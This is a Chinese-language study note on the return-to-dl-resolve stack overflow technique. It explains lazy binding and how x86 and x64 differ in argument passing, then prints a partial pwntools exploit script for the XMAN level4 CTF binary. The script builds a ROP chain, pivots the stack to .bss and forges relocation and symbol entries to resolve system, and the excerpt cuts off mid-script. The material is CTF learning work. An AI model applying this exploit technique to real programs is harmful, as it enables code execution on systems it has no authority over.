最近学习了一下漏洞原理与利用,学习到栈溢出漏洞利用的一些技巧,记录下自己的学习心得。关于return to dl-resolve的原理,网上有许多的文章已经写的很清楚了,就不赘述。本文主要是根据return to dl-resolve的原理,实现32位和64位环境下的漏洞利用。
0x00. 准备知识
(1) 实验环境:
64bit Ubuntu16.04, kernel : 4.4.0
(2) 32位与64位区别:
Linux下32位应用的参数传递主要是通过栈来传递;而64位应用的前六个参数分别通过RDI, RSI, RDX, RCX, R8和 R9传递,如果有多余的参数,才会通过栈来传递。因此,在覆盖返回值时,平衡堆栈时就需要用到gadget。
(3) return to dl-resolve
Linux下可执行文件ELF的动态链接时,采用了延迟绑定技术。原理是:动态链接的库里有许多函数,但是可执行文件ELF不会全部调用这些函数,有些函数直到程序运行结束也不会被调用。因此,Linux下的链接器动态链接时不会进行函数地址重定位,而是等到函数第一次被调用时,进行函数地址重地位,也就是通过_dl_runtime_resolve函数到库中查找该函数的实际地址,并将其写入到该函数的got表中。
当栈溢出后,我们就可以控制程序流程到dl-resolve,解析出system函数的地址,从而实现漏洞的利用。
0x01. 32位环境下的return to dl-resolve实例
下面以XMAN level4为例,分别使用手写和使用工具roputils实现漏洞利用。
return to dl-resolve by manul
#!/usr/bin/env python
from pwn import *
DEBUG = 1
if DEBUG:
context.log_level = 'debug'
p = process('./level4')
gdb.attach(p)
else:
p = remote('127.0.0.1', 10086)
offset = 0x8c
stack_size = 0x400
vulfun = 0x0804844b
bss_addr = 0x804a024
base_stage = bss_addr + stack_size
pppr = 0x8048509
p_ebp_r = 0x804850b
leave_r = 0x80483b8
elf = ELF('./level4')
write_plt = elf.plt['write']
read_plt = elf.plt['read']
write_got = elf.got['write']
def main():
payload1 = 'A' * offset + p32(read_plt) + p32(pppr) + p32(0) + p32(base_stage)
payload1 += p32(100) + p32(p_ebp_r) + p32(base_stage) + p32(leave_r)
p.sendline(payload1)
plt_start = 0x8048300
rel_plt = 0x80482b0
index_offset = (base_stage + 28) - rel_plt
dynsym_addr = 0x80481cc
dynstr_addr = 0x804822c
fake_sym = base_stage + 36
align = 0x10 - ((fake_sym - dynsym_addr) & 0xf)
fake_sym = fake_sym +align
index_dynsym = (fake_sym - dynsym_addr) / 0x10
r_info = (index_dynsym <<